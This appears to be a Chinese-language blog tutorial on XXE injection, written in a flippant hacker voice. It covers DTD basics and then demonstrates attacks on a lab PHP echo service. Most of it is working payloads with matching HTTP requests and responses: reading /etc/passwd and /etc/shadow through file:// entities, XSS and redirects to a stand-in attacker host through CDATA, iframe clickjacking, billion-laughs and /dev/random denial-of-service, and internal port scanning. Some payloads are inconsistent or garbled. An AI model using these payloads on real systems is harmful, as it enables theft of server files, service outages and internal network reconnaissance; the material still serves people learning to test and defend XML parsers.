XXE漏洞学习从入门到放弃

或许是不知梦的缘故,流离之人追逐幻影!

image.png

0X00 前言

首先介绍一下什么是XXE:

XXE全称是——XML External Entity,也就是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

我们可以利用XML注入来做很多有意思的事情,具体看后文,有hacking细节.

0X01 关于DTD的那些事

先非常简短的介绍一下DTD吧(怎么可能短☺):

DTD全称是The document type definition,即是文档类型定义,
可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

有了DTD文档,独立的应用程序,可以用最少的交互来交换和处理数据。 一个应用程序也可以使用DTD来确认从DTD收到的数据是有效的 另外,DTD可以用来配置一个XML/Web应用程序防火墙,例如 : XML防火墙验证XML用户 - 提供基于DTD的输入。

下面是一个小demon:

一般通用的结构:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT structure name (structure element1 ,element1 ,...>
<!ELEMENT element name) data type>

<structure>
<element1>data</element1>
..
..
</structure>

看一个产品目录的实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<!DOCTYPE CATALOG [

<!ENTITY AUTHOR "John Doe">
<!ENTITY COMPANY "JD Power Tools, Inc.">
<!ENTITY EMAIL "jd@jd-tools.com">

<!ELEMENT CATALOG (PRODUCT+)>

<!ELEMENT PRODUCT
(SPECIFICATIONS+,OPTIONS?,PRICE+,NOTES?)>
<!ATTLIST PRODUCT
NAME CDATA #IMPLIED
CATEGORY (HandTool|Table|Shop-Professional) "HandTool"
PARTNUM CDATA #IMPLIED
PLANT (Pittsburgh|Milwaukee|Chicago) "Chicago"
INVENTORY (InStock|Backordered|Discontinued) "InStock">

<!ELEMENT SPECIFICATIONS (#PCDATA)>
<!ATTLIST SPECIFICATIONS
WEIGHT CDATA #IMPLIED
POWER CDATA #IMPLIED>

<!ELEMENT OPTIONS (#PCDATA)>
<!ATTLIST OPTIONS
FINISH (Metal|Polished|Matte) "Matte"
ADAPTER (Included|Optional|NotApplicable) "Included"
CASE (HardShell|Soft|NotApplicable) "HardShell">

<!ELEMENT PRICE (#PCDATA)>
<!ATTLIST PRICE
MSRP CDATA #IMPLIED
WHOLESALE CDATA #IMPLIED
STREET CDATA #IMPLIED
SHIPPING CDATA #IMPLIED>

<!ELEMENT NOTES (#PCDATA)>

]>

Internal DTD:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

External DTD:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE root_element SYSTEM "DTD_location/message.dtd">
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

tips:如果DTD在外部文件中声明,则DOCTYPE定义必须包含对DTD文件的引用。 这个文件从外部暴露给目标应用程序并且对于攻击者来说,它是有价值的。 DTD文档从安全角度来看非常重要,因为它们有助于理解XML解析器的攻击面。

go on!
XML标准使用了一个名为外部一般解析实体的概念,也称为外部实体。 在上下文中的外部实体的XML解析器,用于引用可以在Web应用程序代码之外的位置找到数据,例如:本地或远程文件系统; 这可以使用各种众所周知的协议来检索,例如HTTP,FTP或HTTPS。 该实体的目的是通过使用统一资源定位符(URI)形式的链接帮助减少重复出现的信息的进入。 URI在RFC 3986中定义—> URI 是一个紧凑的字符序列,用于标识抽象或物理资源。大多数流行的标记语言用于引用内容,并且普通的互联网用户在浏览互联网时非常happy地点击了数千个这样的引用。滑稽!

使用SYSTEM的外部DTD实体:

1
<!ENTITY entity-name SYSTEM "URL/URI" >

使用Public的外部DTD实体:

1
2

<!ENTITY entity-name PUBLIC "public_ID" "URI"> entity-name;

外部参数实体引用用于链接外部DTD文档。有两种类型的外部实体:私人和公共.专用外部实体由关键字SYSTEM标识,旨在只供单人使用或者多人.公共外部实体由关键字PUBLIC标识,旨在用于广泛使用。public_ID可以被XML处理器用来生成可以找到外部参数实体的替代URI。 如果在这个URI中找不到它,那么XML处理器必须使用正常的URI。

具有简单数据的DTD外部实体:

1
<!ENTITY target_document SYSTEM "http://evilwing.me/wing.txt">

XXE来源:

1
<msg>&target_document;</msg>

一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。渗透测试中,你可能不得不尝试这三个关键字来找到适当的组合。
看菜鸟上是怎么说的:

image.png

完成XXE实体:

1
2
3
<?xml version="1.0" encoding="ISO-8859-7"?>
<!ENTITY target_document SYSTEM "http://evilwing.me/wing.txt">
<msg>&wing;</msg>

我们假设从目标Web应用程序使用的XML消息仅包含一个名为msg的字段。 以及使用xml消息功能的应用程序。

一个简单的HTTP请求XML消息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="ISO -8859-7"?><!DOCTYPE foo [<!
ENTITY xxefca0a SYSTEM "file:///etc/passwd"> ]>
<appname>
<header>
<principal>username&xxefca0a;</principal>
<credential>userpass1</credential>
</header>
<fixedPaymentsDebitRequest>
<fixedPayment organizationId="44" productId="61" clientId="
33333333" paymentId="1" referenceDate="2005-05-12"
paymentDate="23-11-22">
<amount currency="EUR">100,1</amount>
<description>costumer description</description>
</fixedPayment>
</fixedPaymentsDebitRequest>
</appname>

HTTP响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="ISO -8859-7"?><!DOCTYPE foo [<!
ENTITY xxefca0a SYSTEM "http://www.victim.com/syslogs.txt"
> ]>
<appname>
<header>
<principal>username&xxefca0a;</principal>
<credential>userpass1</credential>
</header>
<fixedPaymentsDebitRequest>
<fixedPayment organizationId="44" productId="61" clientId="
33333333" paymentId="1" referenceDate="2005-05-12"
paymentDate="23-11-22">
<amount currency="EUR">100,1</amount>
<description>costumer description</description>
</fixedPayment>
</fixedPaymentsDebitRequest>
</appname>

标记语言中的URI来源:
URI在RFC 3986统一资源标识符中定义。 URI是标识抽象或物理资源的紧凑字符序列。 其中一些用途是:

  • 1.在HTML中,img元素的src属性的值提供了一个
    URI引用,就像a或link元素的href属性的值一样。
  • 2.在XML中,DTD中出现在SYSTEM关键字后面的系统标识符是一个无片段URI引用。
  • 3.在XSLT中,xsl:import 元素/指令的href属性的值是一个URI引用; 同样,同样也是document()函数的第一个参数。
    可以去百度百科看看具体介绍,喵。
    有效的URI路径示例:
1
2
3
file: ../../../etc/passwd
http://evilwing.me/wing.txt
ftp://evilwing.me/wing.txt

在解析XML文档的过程中,解析器将处理这些链接并在返回的XML文档中包含URI的内容,请参阅URI路径包含各种协议,如FTP,HTTP和HTTPS。 根据XML处理器的不同,某些协议可能不会被处理。 尽管如此,向目标XML解析器提供不支持的协议可能会返回有用的错误消息,这将有助于我们获取有关系统的更多信息。 也可以使用XML格式的XML解析器来帮助我们:

  • 1.生成有意义的XML解析器错误消息
  • 2.bypass Web应用程序的过滤
  • 3.bypass Web应用程序防火墙的过滤
  • 4.在IDS和IPS系统上无法检测

破坏的URI路径的示例:

1
2
3
4
ˆ../../../file.txt
../\\../\\../\\ file.txt
../\../\../\ file.txt
..//..//..//file.txt

这些不符合标准的URI路径有时候可能会有意想不到的效果。
提供的XML解析器可能会帮助我们绕过XML解析器或系统过滤器。

那么,XML解析器在哪里会被使用?

XML解析器用于根据预定义的结构读取XML文件或字符串并获取其内容
。 XML解析器的输出通常被转发到目标Web应用程序代码或外部XML馈送器。 从统计学角度讲,XML解析器的主要用途是将XML文档转换为XML DOM对象,然后可以通过互联网浏览器引擎来操纵,例如, Safari HTML解释器,自定义JavaScript客户端等,XML技术使我们能够解决许多与组装和重新安排所需格式信息有关的问题,这是因为XML解析器没有使用任何自定义序列化协议。因此,XML解析器由于其高度通用和动态的特性而成为攻击的理想应用。此图显示了XML解析器流程图:

image.png

XML解析器内部是如何工作的?

XML解析基本上是将信息分解成更小的组成部分并分别处理它们的行为。 这意味着信息块的每个部分(例如来自XML请求的单个节点)在破坏后可能对终端系统有不同的含义; 所以最初它被视为文本,后来以统一资源定位符(URI)为例。

解析器被视为可由目标Web应用程序代码引用的程序,代码片段或API,以便随后分析,识别或处理用户提供的信息组成部分。所有处理XML请求和读取用户输入的应用程序都可能具有某种类型的解析器,否则它们将永远无法确定插入的信息的含义。通常,XML解析器有多种不同的格式和样式。它们可以是独立的开源软件,也可以是库,模块,甚至是类。这使得一些XML解析器在从一个应用程序到另一个应用程序的方式上有着完全不同的表现。例如目标Web应用程序可能会为大多数应用程序提供强大的输入验证机制,但专门针对XML解析器的输入可能没有适当的过滤。这是开发这些类型应用程序的许多公司在发布它们时会出现漏洞的主要原因。

XML解析和XXE

当XML处理器识别对XML解析实体(包括外部实体)的引用时,处理器有义务包括其替换文本,例如, URI引用的实际文档。 如果实体是外部的,并且处理器没有试图验证XML文档(这是默认配置),它可能包括实体的替换文本。 如果非验证处理器不包含替换文本,它将通知应用程序它已识别实体,但最终没有读取该实体,并且处理器将尝试读取它而没有成功。 这个事件会产生一个错误信息,如果处理不当,最终会在用户或攻击者的浏览器中泄露有用的信息。 这条规则基于SGML和扩展标记语言(XML)实体机制提供的自动包含.

还值得一提的是,当一个实体引用出现在一个属性值中,或者一个参数实体引用出现在一个文字实体值中时,它的替换文本必须被处理而不是引用本身,就好像它是文档的一部分。 除了替换文本中的单引号或双引号字符,必须始终被视为普通数据字符,并且不得终止。

生成XML错误

识别XXE injection并不是一件容易的事。 就像任何其他注入攻击一样,目标Web应用程序可能会利用各种对策来防御XXE injection,例如, 它可能会利用Web应用程序过滤器,Web应用程序防火墙,第7层IPS系统等。 下面列表是可用于破坏XML模式并生成详细错误消息的所有相关字符:

  • ‘’(two apostrophe)
  • “”
  • <
  • >
  • ]]>
  • ]]>>
  • \
  • /–>
  • –>
  • \<!–
  • <!
  • <! [CDATA[/]]>

基于错误的XXE注入

当攻击者试图对目标应用程序执行XXE攻击并同时利用XML解析器产生的错误时,会发生基于错误的XXE注入。 当XML解析器无法正确验证和清理用户提供的数据时,它往往会产生错误,除非被压制,也就是不让它回显,否则这些错误会发送到浏览器。

XML Web应用程序

我们将利用一个简单的Web应用程序来使用PHP XML解析器来回显用户提供的消息给浏览器。 以下文本显示了从用户提交的消息填充的浏览器生成的示例GET请求。

1
2
3
4
5
6
7
GET /xml/wing.php?xml=%3Cmsg%3EHello World%3C/msg%3E HTTP/1.1
Host: 192.168.0.2
User-Agent: Evil wing
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

在上面的GET请求中,您可以看到用户提供的消息。 在上面的例子中,用户转发了文本Hello World

Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
HTTP/1.1 200 OK
Date: Thu, 03 feb 2018 21:56:04 GMT
Server: Apache/2.2.15 (Debian)
X-Powered-By: PHP/5.3.3-7
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Length: 1459
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>xxe test</title>
</head>
<body>
<div class="container">
Hello World
<footer>
</div>
</body>
</html>

生成XXE错误

演示如何使用示例XML解析器生成错误。在GET请求之后插入一个额外的左箭头字符来产生一个错误。

1
2
3
4
5
6
7
GET /xml/example1.php?xml=%3Cmsg%3EHello%3C%3C/msg%3E HTTP/1.1
Host: 192.168.0.2
User-Agent: Evil Dude
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

1
2
%3Cmsg%3EHello%3C%3C/msg%3E
<msg>Hello<</msg>

response中出现:

1
2
3
4
5
6
7
Warning: simplexml_load_string():
Entity: line 1: parser error : StartTag: invalid element name
in /var/www/xml/page1.php on line 4
Warning: simplexml_load_string():
<msg>Hello<</msg> in /var/www/xml/page1.php on line 4
Warning: simplexml_load_string():
ˆ in /var/www/xml/page1.php on line 4

0x02 XXL INJECTION 的利用

利用这个漏洞可能会对存在漏洞的应用程序造成破坏性后果。 更具体地说,攻击者通过成功利用XXE注入可能潜在地执行:

  • 1.使用CDATA标签的跨站点脚本例如 :注入JavaScript。
  • 2.详细的错误消息产生,例如: 内部路径。
  • 3.端口扫描到内部暴露的基础设施。
  • 4.重定向到钓鱼地点,例如 通过使用window.location.assign对象。
  • 5.dos攻击。
  • 6.使用网卡错误的服务器指纹识别。

XXE注入和HTML注释

黑客和渗透测试人员可以非常有创意地使用HTML注释来识别和利用XXE和XML注入。 HTML注释可以通过两种方式用于:

  • 1.生成XML错误消息。
  • 2.执行XXE盲注。

注入XML消息时的HTML注释将生成XML错误,或者XML解析器将处理输入(例如注释不会破坏XML消息)。 攻击者可以使用HTML注释来枚举XML解析器防火墙规则,例如 检查解析器是否严格验证XML字段。

XXE 请求:

1
2
3
4
5
6
7
8
GET /xml/example1.php?xml=%3Cmsg%3EHello%3C!--/--%3E%C2%A0%3C
/msg%3E HTTP/1.1
Host: 192.168.0.2
User-Agent: Evil Dude
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

1
2
%3Cmsg%3EHello%3C!--/--%3E%C2%A0%3C/msg%3E
<msg>Hello<!--/--></msg>

XXE Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...[content omitted]...
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Simple Echo Service</title>
</head>
<body>
<div class="container">
Hello
<footer>
<p>XXE Echo Service</p>
</footer>
</div>
</body>
</html>

响应没毛病,说明注释起到了作用。

XXE Injections和CDATA标签

在处理CDATA标签时,XML解析器完全忽略了里面的数据; 更具体地说,包含在CDATA标签内的内容都被包含在内。 以下演示CDATA在我们的小型Web应用程序中的行为:

XXE request:

1
2
3
4
5
6
7
8
GET /xml/example1.php?xml=
%3Cmsg%3EHello%20%3C![CDATA[junk]]%3E%3C/msg%3E HTTP/1.1
Host: 172.16.6.131
User-Agent: Evil Dude
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

1
2
%3Cmsg%3EHello%20%3C![CDATA[wing]]%3E%3C/msg%3E
<msg>Hello <![CDATA[wing]]></msg>

上面的文本演示了来自浏览器的GET请求CDATA标签元素。
XXE Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...[content omitted]...
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Simple Echo Service</title>
</head>
<body>
<div class="container">
Hello junk
<footer>
<p>XXE Echo Service</p>
</footer>
</div>
</body>
</html>

上面的文本演示了使用CDATA标签的服务器回复

XXE注入和XSS

XXE注入也可用于xss。使用XML的Cross Site Scripting攻击可以使用CDATA标签实现。以下示例显示如何利用XML回显服务来执行XSS。
XXE Request:

1
2
3
4
5
6
7
8
9
 GET /xml/example1.php?xml=
%3Cmsg%3EHello%20%3C![CDATA[%3
Cscript%3Ealert(%22XSS%22)%3C/script%3E]]%3E%3C/msg%3E HTTP/1.1
Host: 172.16.6.131
User-Agent: Evil Dude
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

1
2
3
%3Cmsg%3EHello%20%3C![CDATA[%3Cscript%3Ealert(%22XSS%22)%3C/script%3E]]%3E%3C/msg%3E

<msg>Hello <![CDATA[<script>alert("EvilWing")</script>]]></msg>

上面显示的GET请求显示了如何使用CDATA标记将弹框注入到XML消息中。
XXE Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...[content omitted]...
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Simple Echo Service</title>
</head>
<body>
<div class="container">
Hello <script>alert("XSS")</script> <footer>
<p>XXE Echo Service</p>
</footer>
</div>
</body>
</html>

注入成功!

XXE注入和重定向

这一部分演示了如何使用window.location.assign JavaScript对象执行重定向。 assign方法用于在浏览器中加载新文档。 当然,还有其他方法可以执行重定向,这里我们将使用assign方法。 在某些情况下,由于同源策略(SOP),assign方法无法执行,在这种情况下会引发SECURITY-ERROR类型的DOM Exception。 当参与该方法的脚本的来源与最初托管该脚本的页面的来源不同时,就会发生这种情况。 该脚本托管在不同的域上。 如果XML消息源的来源位于不同的域中(除非在SOP策略中添加了异常处理),这种类型的攻击可能会失败。
XXE Request:

1
2
3
4
5
6
7
8
9
GET /xml/page1.php?xml=%3Cmsg%3EHello%20%3C![CDATA[%3Cscript%3E
window.location.assign
(%22http://www.evilwing.me%22)%3C/script%3E]]%3E%3C/msg%3E HTTP/1.1
Host: 172.16.6.131
User-Agent: Evil Dude
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

1
2
3
4
%3Cmsg%3EHello%20%3C![CDATA[%3Cscript%3E
window.location.assign(%22http://www.evilsite.com%22)%3C/script%3E]]%3E%3C/msg%3E

<msg>Hello<![CDATA[<script>window.location.assign("http://evilwing.me")</script>]]></msg>

XXE Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...[content omitted]...
<html lang="en">
<head>
<meta charset="utf-8">
<title>Simple Echo Service</title>
</head>
<body>
<div class="container">
Hello
Hello <script>window.location.assign("http://www.evilwing.me")</script> <footer>
<p>XXE Echo Service</p>
</footer>
</div>
</body>
</html>

成功!

XXE注入和点击劫持

XXE注射也可以用来执行点击劫持攻击。当攻击者设法成功构建目标Web应用程序页面时,就会发生点击劫持攻击,我们还将演示如何将点击劫持攻击与XXE注入结合使用。 以下GET请求再次显示hacker如何使用CDATA标签插入iframe。

1
2
3
4
5
6
7
8
9
GET /xml/p.php?xml=/xml/page1.php
?xml=%3Cmsg%3EHello%20%3Ciframe%20src=%22
http://www.evilsite.com/%22%3E%3C/msg%3E HTTP/1.1
Host: 172.16.6.131
User-Agent: Evil Dude
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

1
2
3
4
%3Cmsg%3EHello%20%3Ciframe%20src=%22
http://www.evilwing.mem/%22%3E%3C/msg%3E

<msg>Hello <iframe src="http://.evilwing.me/"></msg>

XXE Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
...[content omitted]...
<html lang="en">
<head>
<meta charset="utf-8">
<title>Simple Echo Service</title>
</head>
<body>
<div class="container">
Hello
Warning: simplexml_load_string():
Entity: line 1: parser error : Start tag expected,
<’ not found in /var/www/xml/page1.php on line 4
Warning: simplexml_load_string():
/xml/page1.php?xml=<msg>Hello <iframe src="http://www.evilwing.me/"></msg>
in /var/www/xml/page1.php on line 4
Warning: simplexml_load_string():
ˆ in /var/www/xml/page1.php on line 4
<footer>
<p>XXE Echo Service</p>
</footer>
</div>
</body>
</html>

OK!

XXE注入和html表单

再次使用CDATA标签,我们也可以注入HTML表单以执行更高级的攻击。 以下GET请求显示了如何实现。

XXE Request:

1
2
3
4
5
6
7
8
9
10
11
GET /xml/example1.php?xml=%3Cmsg%3EHello%20%3C![CDATA[%3Cscript%3E%20
function%20redirectnow()%20{%20window.location.assign(%22
http://www.w3schools.com%22)%20}%20%3C/script%3E%3Cinput%20type=%22
button%22%20value=%22Redirect%22%20onclick=%22redirectnow()%22%3E]]
%3E%3C/msg%3E HTTP/1.1
Host: 172.16.6.131
User-Agent: Evil Dude
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

1
2
3
%3Cmsg%3EHello%20%3C![CDATA[%3Cscript%3E%20function%20redirectnow()%20{%20window.location.assign(%22http://www.w3schools.com%22)%20}%20%3C/script%3E%3Cinput%20type=%22button%22%20value=%22Redirect%22%20onclick=%22redirectnow()%22%3E]]%3E%3C/msg%3E

<msg>Hello <[CDATA[<script> function redirectnow() { window.location.assign("http://www.w3schools.com") } </script><input type="button" value="Redirect" onclick="redirectnow()">]]></msg>

XXE Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...[content omitted]...
<html lang="en">
<head>
<meta charset="utf-8">
<title>Simple Echo Service</title>
</head>
<body>
<div class="container">
Hello <script> function redirectnow()
{ window.location.assign("http://www.evilsite.com") }
</script><input type="button" value="Redirect" onclick="redirectnow()">
<footer>
<p>XXE Echo Service</p>
</footer>
</div>
</body>
</html>

XXE注入和内部资源提取

可以使用XXE注入从存在漏洞的Web应用程序文件系统中提取内部资源。 为了发生这种情况,必须将目标XML解析器配置为允许XXE。 以下部分显示可用于从我们的Linux系统检索passwd文件的payload。 利用此漏洞的影响非常高,因为它允许攻击者读取服务器上存在的敏感文件,如passwd和shadow文件。

XXE Payload:

1
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><msg>&xxe;</msg>

在这个payload中,我们使用文件URI元素来检索数据。
关键字SYSTEM的使用指示XML解析器应该从下面的URI中读取外部实体值。 在这种特定情况下,请求的资源是passwd文件。

XXE Payload:

1
2
<!ENTITY xxe1 SYSTEM "file:///etc/passwd" >]><!ENTITY xxe1
SYSTEM "file:///etc/shadow" >]><msg>&xxe;&xxe1;</msg>

XXE Request:

1
2
3
4
5
6
7
8
GET /xml/page1.php?xml=%3C!ENTITY%20xxe%20SYSTEM%20%22
file:///etc/passwd%22%20%3E]%3E%3Cmsg%3E&xxe;%3C/msg%3E HTTP/1.1
Host: 192.168.0.2
User-Agent: Evil Dude
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

XXE Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...[content omitted]...
<html lang="en">
<head>
<meta charset="utf-8">
<title>Simple Echo Service</title>
</head>
<body>
<div class="container">
Hello
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
...[content omitted]...
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:156:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
<footer>
</div>
</body>
</html>

可以看到,已经成功执行!

XXE注入和DOS攻击

在大多数进行的渗透测试中,XXE注入漏洞可以对Web应用程序进行拒绝服务攻击(DOS)。 使用XXE注射执行拒绝服务可以通过两种不同的方式实现:

  • 1.插入XXE炸弹。
  • 2.通过请求连续大文件

一种类型的XML DoS攻击是XML炸弹,它是一组XML格式的代码,根据目标XML模式的规则,格式良好且有效,但在程序试图解析时会崩溃或挂起程序。
XXE Bomb payload:

1
<!ENTITY bomb "bbbbbbbbbbbbbbbbbbbbbbbbbbb...">]><msg>&bomb;</msg>

XXE炸弹使用多个字符来让XML解析器的缓冲器过载或者显著增加来自XML解析器的payload的处理时间,例如, 解析器需要大量的时间来处理/读取用户提供的输入。这种攻击也可以用于–使用LOIC的DDoS攻击。

billion laughs攻击payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol
;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&
lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&
lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&
lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&
lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&
lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&
lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&
lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&
lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

ps:billion laughs attack是一种针对XML文档解析器的拒绝服(DoS)攻击.

当XML解析器加载这个有效载荷时,它会看到它包含一个根元素’lolz’,其中包含文本’amber character plus lol9’。 然而,’amber character plus lol9’是一个扩展到更多字符的定义实体。 每个’amber character plus lol-number;’字符串都是一个定义的实体,可扩展为更多的字符等等。 在所有的实体扩展处理完毕之后,这个小块(少于1 KB)的XML实际上将包含109 = 10亿个大文件,占用大约3千兆字节的内存。
以下代码演示XXE随机有效载荷:

1
<!ENTITY bomb "file:///dev/random" >]><msg>&bomb;</msg>

请求大文件或没有固定大小的文件的XXE炸弹也可能导致服务中断。 在Unix系统中,/dev/random是一个特殊的文件,用作伪随机数生成器。 当解析器开始读取/dev/random文件时,它将接收到无尽的随机字节流。 当发生XXE注入时,服务器将不断尝试加载文件而不会结束。 这种攻击也可以用于DDoS攻击工具,如LOIC。
以下一段代码演示了一个XXE读取大文件的payload:

1
2
<!ENTITY bomb "file:///var/www/large.jpeg" >]><msg>&bomb;</
msg>

ps:LOIC是互联网上免费提供的最受欢迎的DDoS攻击工具之一。

XXE注入和端口扫描

使用XXE漏洞的攻击者可以使用存在漏洞的Web应用程序作为攻击代理执行诸如网络端口扫描之类的操作。 此漏洞的独特之处在于,它可用于使用各种协议启动内部端口扫描,具体取决于XML解析器支持的功能,例如, FTP,HTTP,HTTPS和UNC。一般可以写脚本自动处理,那样快的多,探测内网资产.
结构图:

image.png

在上面显示的图中,攻击者发出的HTTP XML请求被本地主机防火墙反弹回来。 在下面的图表中,我们将看到为什么会发生这种情况。

image.png

从上图中我们可以看到,XML解析器位于Web应用程序或Web应用程序平台上,或两者都通过操作系统的网络驱动程序与本地主机防火墙直接交互。

image.png

如果我们假设潜在的攻击者位于DMZ(托管存在漏洞的Web服务器)内,那么唯一的防火墙过滤流量就是本地防火墙,并且我们有机会间接与操作系统网络驱动程序进行交互并生成 一些有用的错误。
image.png

上图显示了攻击者如何滥用XXE漏洞来枚举本地主机防火墙出口过滤,如前所述。 这次我们遇到了本地防火墙的规则,我们的请求被反弹回来了

image.png

在更现实的情况下,攻击者将位于企业网络防火墙之外。 生成的恶意HTTP XML请求将在本地主机或外部防火墙中弹跳。 此时,我们可以通过操纵我们的payload并识别操作系统,例如通过以127.0.01格式将本地主机地址作为有效负载进行提供,而不是通过此格式127.0.0.1来区分Windows和Linux平台操作系统。 Windows对两个本地主机格式的响应都是一样的。 总结所做的分析可以得出结论:攻击者通过XXE注入可以提取以下信息:

  • 1.执行本地主机防火墙出口过滤分析
  • 2.执行DMZ主机防火墙出口过滤分析
  • 3.执行主机操作系统指纹识别
  • 4.执行主机Web应用程序平台指纹识别
  • 5.对在同网段的计算机上执行主机Web应用程序平台指纹识别
  • 6.对在同网段的机器上执行攻击

映射DMZ和主机防火墙出口规则可能潜在地用于社会工程攻击,例如,伪装成萌妹, 给网络管理员call个电话,要求他更改仅从内部可见的防火墙规则。 同时映射目标主机的出口规则可能有助于理解位于与易受攻击主机位于同一DMZ区域的其他主机的主机防火墙规则。

下图显示了可以归档的映射内部公开Web服务器的示意图:

image.png

上图显示,通过本地主机防火墙的所有HTTP请求都能够请求内网中的Web服务器。 最好从有漏洞的服务器上下载主机文件,然后开始扫描识别的IP范围和主机名称,然后一把嗦.
下图显示了外部防火墙规则的示意图:

image.png

上图显示,通过本地主机防火墙的所有HTTP请求都设法击中外部DMZ防火墙。 我们有两种类型的反弹HTTP请求。 第一种类型的HTTP请求来自本地防火墙出口过滤器,第二种类型来自DMZ防火墙出口过滤器。 攻击者将能够映射两个防火墙出口过滤规则,并可能开始识别侧通道; 一种在受损网络之外提取信息的方法。

以下文本框显示了可用于前述各种类型攻击的一些示例XXE有效负载。

1
<!ENTITY scan "http://127.0.0.1" >]><msg>&scan;</msg>

默认端口可能是80或者8080等等,写个脚本跑.

识别存活ip段:

1
<!ENTITY scan "http://surrounding-ips" >]><msg>&scan;</msg>

是否启用https服务:

1
<!ENTITY scan "https://127.0.0.1" >]><msg>&scan;</msg>

查看目标服务器是否与DNS服务器通信以解析内部可访问的域:

1
2
<!ENTITY scan "https://internal -domain.com" >]><msg>&scan;</
msg>

探测其他端口是否还有web服务:

1
2
<!ENTITY scan "https://externalsite.com:80" >]><msg>&scan;</
msg>

